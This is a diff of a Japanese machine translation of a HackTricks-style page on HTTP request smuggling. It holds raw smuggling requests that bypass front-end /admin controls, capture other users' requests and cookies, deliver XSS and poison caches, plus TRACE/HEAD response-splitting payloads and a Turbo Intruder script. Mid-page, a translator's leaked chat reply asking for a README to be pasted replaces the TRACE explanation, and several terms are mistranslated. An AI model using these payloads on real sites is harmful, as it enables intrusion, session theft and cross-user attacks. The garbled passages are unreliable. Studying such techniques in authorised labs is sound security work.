+  - Cache poisoning: desync を通じて共有キャッシュを汚染し、他のユーザに影響を与えるレスポンスを作る。
+  - Internal header disclosure: FE が注入したヘッダ（例: auth/trust headers）を反映させ、auth bypass に足がかりを作る。
+  - Bypass FE controls: 制限されたパス／メソッドを front-end を通過させるために smuggle する。
+  - Host-header abuse: ホストルーティングの特異点と組み合わせて内部 vhost にピボットする。
 - Operator workflow
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
+  - 制御された再利用で再現する（Turbo Intruder `requestsPerConnection=2`、または Burp Repeater タブグループ → "Send group in sequence (single connection)"）。
+  - その後、cache/header-leak/control-bypass primitives に繋げて、クロスユーザまたは認可への影響を実証する。

 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
-{{#endref}}
+>{{#endref}}

 ### Client‑side desync constraints

-If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
+browser-powered/client-side desync を狙う場合、悪意あるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。ヘッダの難読化トリックは通用しません。navigation/fetch で到達可能な primitives に注力し、下流コンポーネントがレスポンスを反映またはキャッシュする場合に cache poisoning、header disclosure、front-end control bypass へピボットしてください。

 For background and end-to-end workflows:

@ -430,21 +425,21 @@ browser-http-request-smuggling.md

 ### Tooling to help decide

- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
+- HTTP Hacker (Burp BApp Store): 低レベルの HTTP 挙動とソケット結合を露呈します。
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
+- Turbo Intruder: `requestsPerConnection` による接続再利用の精密な制御。
+- Burp HTTP Request Smuggler: first‑request routing/validation を見つける connection‑state probe を含みます。

 > [!NOTE]
-> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
+> 再利用のみで発生する効果は、サーバ側の desync を証明して具体的な影響（poisoned cache artifact、leaked internal header による権限回避、bypassed FE control など）を示せない限り、問題外と見なしてください。

 ## Abusing HTTP Request Smuggling

 ### Circumventing Front-End Security via HTTP Request Smuggling

-Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
+時に front-end proxy はセキュリティ対策を強制し、受信リクエストを精査します。しかし、これらの対策は HTTP Request Smuggling を悪用することで回避でき、restricted endpoints への不正アクセスを可能にします。たとえば外部から `/admin` へアクセスすることが禁止され、front-end proxy がその試みをブロックしている場合があります。それでも、この proxy は smuggled HTTP リクエスト内の埋め込みリクエストを検査しないことがあり、この抜け穴で制限を回避できる場合があります。

-Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
+以下の例は、HTTP Request Smuggling を使って front-end のセキュリティコントロール（典型的には front-end proxy が守っている `/admin` パス）を回避する方法を示しています。

 **CL.TE Example**
 ```
@ -463,9 +458,9 @@ Content-Length: 10

 x=
 ```
-CL.TE attackでは、初期リクエストには`Content-Length`ヘッダが使われ、続く埋め込まれたリクエストでは`Transfer-Encoding: chunked`ヘッダが使用されます。フロントエンドのプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査できないため、`/admin`パスへの不正アクセスが可能になります。
+In the CL.TE attackでは、最初のリクエストに対して`Content-Length`ヘッダーが利用され、続いて埋め込まれたリクエストは`Transfer-Encoding: chunked`ヘッダーを使用します。front-end proxyは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査できないため、`/admin`パスへの不正アクセスが可能になります。

-**TE.CL Example**
+**TE.CL 例**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -481,13 +476,13 @@ a=x
 0

 ```
-逆に、TE.CL attackでは、最初の`POST`リクエストが`Transfer-Encoding: chunked`を使用し、その後に埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE attackと同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、結果的に制限された`/admin`パスへのアクセスを許可してしまいます。
+逆に、TE.CL 攻撃では、最初の `POST` リクエストが `Transfer-Encoding: chunked` を使用し、その後に埋め込まれたリクエストは `Content-Length` ヘッダに基づいて処理されます。CL.TE 攻撃と同様に、front-end proxy はスムーズに紛れ込んだ `GET /admin` リクエストを見落とし、結果的に制限された `/admin` パスへのアクセスを許してしまいます。

-### フロントエンドのリクエスト書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### フロントエンドによるリクエスト書き換えの検出 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-アプリケーションは、受信したリクエストをバックエンドサーバに渡す前に変更するために、**front-end server**を利用することがよくあります。典型的な変更は、クライアントのIPをバックエンドに伝えるために、`X-Forwarded-For: <IP of the client>` のようなヘッダーを追加することです。これらの変更を理解することは重要です。なぜなら、**保護を回避する**方法や、**隠された情報やエンドポイントを発見する**方法が明らかになる可能性があるからです。
+アプリケーションはしばしば **front-end server** を利用して、受信リクエストを back-end server に渡す前に変更を加えます。典型的な変更例としては、`X-Forwarded-For: <IP of the client>` のようなヘッダを追加し、クライアントの IP を back-end に伝えることがあります。これらの変更を理解することは重要で、**bypass protections** や **uncover concealed information or endpoints** の手段を明らかにする可能性があります。

-プロキシがリクエストをどのように変更するかを調べるには、バックエンドがレスポンス内でエコーするPOSTパラメータを見つけます。次に、そのパラメータを最後に使用する形で、以下のようなリクエストを作成します：
+proxy がリクエストをどのように変更するかを調べるには、back-end がレスポンス内でエコーする POST パラメータを見つけます。次に、そのパラメータを最後に使う形でリクエストを作成し、以下のようにします:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -504,19 +499,19 @@ Content-Length: 100

 search=
 ```
-この構造では、後続のリクエストコンポーネントが `search=` の後ろに追加され、これはレスポンスに反映されるパラメータです。この反映によって後続リクエストのヘッダが露出します。
+この構造では、後続のリクエストの要素が `search=` の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続リクエストのヘッダが露出します。

-`Content-Length` ヘッダをネストされたリクエストの実際のコンテンツ長と一致させることが重要です。小さい値から始めて徐々に増やすのが望ましく、値が小さすぎると反映データが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。
+ネストされたリクエストの `Content-Length` ヘッダは実際のコンテンツ長と一致させることが重要です。小さい値から始めて徐々に増やすのが推奨されます。値が小さすぎると反映されるデータが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。

-この手法は TE.CL 脆弱性の文脈でも適用できますが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は search パラメータに追加されます。
+この手法はTE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終端する必要があります。改行文字に関わらず、値は `search` パラメータに追記されます。

-この方法は主にフロントエンドプロキシによって行われるリクエストの変更を理解するために用いられ、事実上の自己調査を行うものです。
+この手法は主に front-end proxy によるリクエストの改変を把握するために用いられ、実質的には自己調査を行うものです。

-### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### 他ユーザのリクエストを捕捉する <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-POST 操作中にパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。以下はその方法です：
+POST 操作中にパラメータの値として特定のリクエストを追記することで、次のユーザのリクエストを捕捉することが可能です。実現方法は次の通りです：

-以下のリクエストをパラメータの値として追加することで、続くクライアントのリクエストを保存できます：
+以下のリクエストをパラメータの値として追記することで、後続クライアントのリクエストを格納できます：
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -536,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-このシナリオでは、**comment parameter** は公開ページの投稿のコメント欄に内容を保存することを意図しています。そのため、後続のリクエストの内容はコメントとして表示されます。
+このシナリオでは、**comment parameter** は公開ページ上の投稿のコメント欄に内容を保存することを意図しています。したがって、続くリクエストの内容がコメントとして表示されます。

-しかし、この手法には制限があります。一般に、スムグルされたリクエストで使用されるパラメータ区切り文字までしかデータを取得できません。URL エンコードされたフォーム送信では、この区切り文字は `&` です。つまり、被害者ユーザのリクエストから取得される内容は最初の `&` で途切れます。これはクエリ文字列の一部である場合もあります。
+しかし、この手法には制限があります。一般に、スムージングしたリクエストで使用されるパラメータ区切り文字までしかデータを取り込めません。URLエンコードされたフォーム送信の場合、この区切り文字は `&` です。つまり、被害ユーザのリクエストから取り込まれる内容は最初の `&` で止まり、場合によってはクエリ文字列の一部であることもあります。

-また、この手法は TE.CL 脆弱性でも有効である点に注意してください。その場合、リクエストは `search=\r\n0` で終了させる必要があります。改行文字がどうであれ、値は search パラメータに追記されます。
+さらに、このアプローチは TE.CL 脆弱性でも有効である点に注意してください。その場合、リクエストは `search=\r\n0` で終わるべきです。改行文字の有無に関わらず、値は search パラメータに追加されます。

 ### Using HTTP request smuggling to exploit reflected XSS

-HTTP Request Smuggling は **Reflected XSS** に脆弱なウェブページを悪用するために利用できます。主な利点は次の通りです：
+HTTP Request Smuggling は **Reflected XSS** に対して脆弱なウェブページを悪用するために利用できます。以下のような大きな利点があります:

- ターゲットユーザとのやり取りは **不要** です。
- 普通は到達できないようなリクエストの一部（例：HTTP request headers）で XSS を悪用できます。
+- 対象ユーザーとのやり取りは **不要** です。
+- HTTP request headers のような、リクエストの **通常は到達できない** 部分で XSS を悪用できます。

-ウェブサイトが User-Agent header を介して Reflected XSS に脆弱な場合、次の payload はこの脆弱性を悪用する方法を示します：
+ウェブサイトが User-Agent ヘッダ経由で Reflected XSS に脆弱な場合、以下の payload はこの脆弱性をどのように悪用するかを示します:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -581,15 +576,15 @@ By manipulating the `User-Agent` through smuggling, the payload bypasses normal
 #### HTTP/0.9

 > [!CAUTION]
-> ユーザコンテンツが **`text/plain`** のような **`Content-type`** でレスポンスに反映される場合、XSS の実行は防がれます。サーバが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります！
+> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!

-The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body.
+HTTP/0.9 は HTTP/1.0 より以前のバージョンで、**GET** のみを使用し、**headers** を返さず本文だけを返します。

 In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.

-### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### HTTP Request Smuggling を使ったオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
+アプリケーションはしばしばリダイレクト URL に `Host` ヘッダのホスト名を使用して、ある URL から別の URL へリダイレクトします。これは Apache や IIS のようなウェブサーバで一般的です。例えば、末尾スラッシュがないフォルダを要求すると、スラッシュを付けるようにリダイレクトされます:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@ -599,7 +594,7 @@ Host: normal-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-一見無害に見えるが、この挙動は HTTP request smuggling を利用してユーザーを外部サイトにリダイレクトするよう操作できる。例えば：
+一見無害に見えるが、この挙動は HTTP request smuggling を利用して操作され、ユーザーを外部サイトへリダイレクトすることができる。例えば:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -613,7 +608,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-このスミッギングされたリクエストは、次に処理されるユーザーのリクエストを攻撃者が管理するウェブサイトにリダイレクトさせる可能性があります:
+この smuggled request により、次に処理されるユーザーのリクエストが攻撃者が管理するウェブサイトにリダイレクトされる可能性があります：
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@ -625,17 +620,17 @@ Host: vulnerable-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-このシナリオでは、ユーザの JavaScript ファイルへのリクエストがハイジャックされます。攻撃者は悪意ある JavaScript を返すことでユーザを侵害できる可能性があります。
+In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.

-### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### HTTP Request Smuggling を利用した Web Cache Poisoning の悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning は、一般にパフォーマンス向上のために**フロントエンドのインフラがコンテンツをキャッシュしている**場合に実行できます。サーバのレスポンスを操作することで、**poison the cache** が可能になります。
+Web Cache Poisoning は、通常パフォーマンス向上のために**front-end infrastructure caches content** が行われているコンポーネントが存在する場合に実行できます。サーバーのレスポンスを操作することで、**poison the cache** することが可能です。

-前述のとおり、サーバのレスポンスを改変して 404 エラーを返すことができる例を見ました（参照: [Basic Examples](#basic-examples)）。同様に、`/static/include.js` を要求した際にサーバに `/index.html` の内容を返させるようトリックすることも可能です。結果として、`/static/include.js` のキャッシュが `/index.html` の内容で置き換えられ、ユーザが `/static/include.js` にアクセスできなくなり、場合によっては DoS を引き起こす可能性があります。
+前述のとおり、サーバーのレスポンスを変更して 404 エラーを返す方法を確認しました（参照: [Basic Examples](#basic-examples)）。同様に、サーバーを騙して `/static/include.js` へのリクエストに対して `/index.html` の内容を返させることも可能です。その結果、キャッシュ内の `/static/include.js` の内容が `/index.html` のものに置き換えられ、ユーザーから `/static/include.js` にアクセスできなくなり、結果として Denial of Service (DoS) を引き起こす可能性があります。

-この手法は、**Open Redirect vulnerability** が見つかった場合、または **on-site redirect to an open redirect** が存在する場合に特に強力になります。これらの脆弱性を利用して、キャッシュされた `/static/include.js` の内容を攻撃者が制御するスクリプトに置き換えることができ、結果的に更新された `/static/include.js` を要求する全てのクライアントに対して大規模な Cross-Site Scripting (XSS) 攻撃を仕掛けることが可能になります。
+この手法は、**Open Redirect vulnerability** が見つかった場合、または **on-site redirect to an open redirect** が存在する場合に特に強力になります。これらの脆弱性を悪用すると、キャッシュされた `/static/include.js` の内容を攻撃者が制御するスクリプトに置き換えられ、更新された `/static/include.js` を要求するすべてのクライアントに対して広範な Cross-Site Scripting (XSS) 攻撃を実行できるようになります。

-以下は、**cache poisoning combined with an on-site redirect to open redirect** を悪用する例です。目的は、`/static/include.js` のキャッシュ内容を攻撃者が制御する JavaScript コードに書き換えることです:
+以下は、**cache poisoning combined with an on-site redirect to open redirect** を悪用する例です。目的はキャッシュ内の `/static/include.js` の内容を変更し、攻撃者が制御する JavaScript を配信することです：
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -659,12 +654,12 @@ After successful **socket poisoning**, a **GET request** for `/static/include.js

 Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.

-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### HTTP request smuggling を使って web cache deception を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

-> **What is the difference between web cache poisoning and web cache deception?**
+> **web cache poisoning と web cache deception の違いは何ですか？**
 >
-> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
-> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
+> - **web cache poisoning** では、攻撃者がアプリケーションに悪意あるコンテンツをキャッシュさせ、そのコンテンツがキャッシュから他のアプリケーションユーザーに配信されます。
+> - **web cache deception** では、攻撃者が他のユーザーに属する機密コンテンツをキャッシュさせ、攻撃者がそのキャッシュからそのコンテンツを取得します。

 The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
 ```markdown
@ -677,17 +672,17 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-もしこの smuggled request が静的コンテンツ（例: `/someimage.png`）向けのキャッシュエントリを毒しめしてしまった場合、被害者の `/private/messages` にある機密データがその静的コンテンツのキャッシュエントリとしてキャッシュされてしまう可能性があります。結果として、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
+この smuggled request が静的コンテンツ（例: `/someimage.png`）向けのキャッシュエントリを汚染した場合、被害者の `/private/messages` からの機密データがその静的コンテンツのキャッシュエントリとして保存される可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。

 ### HTTP Request Smuggling を介した TRACE の悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**In this post**](https://portswigger.net/research/trace-desync-attack) では、サーバが TRACE メソッドを有効にしている場合、HTTP Request Smuggling を使ってそれを悪用できる可能性があると示唆されています。これは、このメソッドがサーバに送られた任意のヘッダをレスポンスのボディの一部として反映するためです。例えば：
+[**In this post**](https://portswigger.net/research/trace-desync-attack) は、サーバが TRACE メソッドを有効にしている場合、HTTP Request Smuggling を使ってそれを悪用できる可能性があると示唆しています。これは、このメソッドがサーバに送信された任意のヘッダをレスポンスの本文の一部として反映するためです。例えば:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here. I will translate the relevant English text to Japanese following your rules (keeping code, tags, links/paths, technique names, common hacking words, and cloud/SaaS names unmodified).
+その README.md の内容をここに貼ってください。code、タグ、リンク、パスは変更せずに翻訳します。
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -698,17 +693,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-この挙動を悪用する例として、まず**smuggle first a HEAD request**することが挙げられます。このリクエストにはGETリクエストの**headers**（その中に**`Content-Type`**が含まれる）のみが返されます。そしてHEADの直後に**smuggle immediately after the HEAD a TRACE request**を行い、これは**reflecting the sent dat**a.\
-HEADレスポンスに`Content-Length`ヘッダが含まれるため、**response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data**と扱われ、レスポンス内に任意のデータが反映されます。\
-このレスポンスは接続上の次のリクエストに送られるため、**used in a cached JS file for example to inject arbitrary JS code**.
+An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
+As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
+This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.

-### TRACEをHTTP Response Splittingで悪用する <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-TRACEメソッドの別の悪用方法としては、[**this post**](https://portswigger.net/research/trace-desync-attack)を参照することが推奨されます。前述の通り、smuggling a HEAD request and a TRACE requestによって、HEADレスポンス内の**control some reflected data**を操作できる可能性があります。HEADボディの長さは基本的に`Content-Length`ヘッダで示され、その内容はTRACEレスポンスによって形成されます。
+続けて[**this post**](https://portswigger.net/research/trace-desync-attack) を参照すると、TRACEメソッドを悪用する別の方法が提案されています。前述の通り、HEADリクエストとTRACEリクエストをsmuggleすることで、HEADレスポンス内の一部の反映データを**制御することが可能**です。HEADリクエストのボディ長は基本的に`Content-Length`ヘッダで示され、TRACEリクエストのレスポンスによって構成されます。

-したがって、この`Content-Length`とTRACEレスポンスで返されるデータが分かっていれば、TRACEレスポンスの`Content-Length`の最後のバイト以降に有効なHTTPレスポンスを含めることが可能になり、攻撃者は次のレスポンスに対するリクエストを完全に制御できる（これはcache poisoningを行うために使われ得る）という考えが成り立ちます。
+したがって、新しいアイデアは、この`Content-Length`とTRACEレスポンスで返されるデータを把握していれば、TRACEレスポンスが`Content-Length`の最後のバイト以降に有効なHTTPレスポンスを含むように仕向けることができ、攻撃者は次のレスポンスに対するリクエストを完全に制御できる（これによりcache poisoningを実行できる可能性がある）という点です。

-Example:
+例:
 ```
 GET / HTTP/1.1
 Host: example.com
@ -727,7 +722,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-これらのレスポンスを生成します（HEADレスポンスが Content-Length を持っているため TRACE レスポンスが HEAD ボディの一部になり、HEAD の Content-Length が終了すると有効な HTTP レスポンスが smuggled されます）:
+これらの responses を生成します（HEAD response が Content-Length を持ち、そのため TRACE response が HEAD の body の一部となり、HEAD の Content-Length が終了した時点で有効な HTTP response が smuggled される点に注意してください）：
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -748,15 +743,16 @@ Content-Length: 50

 <script>alert(“arbitrary response”)</script>
 ```
-### HTTP Request SmugglingをHTTP Response Desynchronisationで武器化する
+### HTTP Request Smuggling を HTTP Response Desynchronisation で武器化する
+
+HTTP Request Smuggling の脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他の悪用手法を試してください：

-HTTP Request Smugglingの脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他のエクスプロイト方法を試してみてください：

 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}

-### その他のHTTP Request Smugglingテクニック
+### その他の HTTP Request Smuggling テクニック

 - Browser HTTP Request Smuggling (Client Side)

@ -772,11 +768,11 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}

-## Turbo intruder スクリプト
+## Turbo intruder scripts

 ### CL.TE

-出典: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+出典 [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):

@ -861,14 +857,14 @@ table.add(req)
 ```
 ## ツール

- HTTP Hacker (Burp BApp Store) – 連結／フレーミングや低レベルのHTTP挙動を可視化する
+- HTTP Hacker (Burp BApp Store) – 連結/フレーミングや低レベルの HTTP 挙動を可視化する
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerで、request smugglingの不整合を見つけるのに役立つ。
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースの HTTP Fuzzer で、異常な request smuggling の不一致を見つけるのに有用です。

 ## 参考資料

@ -881,9 +877,9 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- 偽陽性に注意: HTTP pipelining と request smuggling を区別する方法 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- 二重の false‑positive に注意：HTTP pipelining と request smuggling の区別方法 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- ブラウザ駆動の Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
 - [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)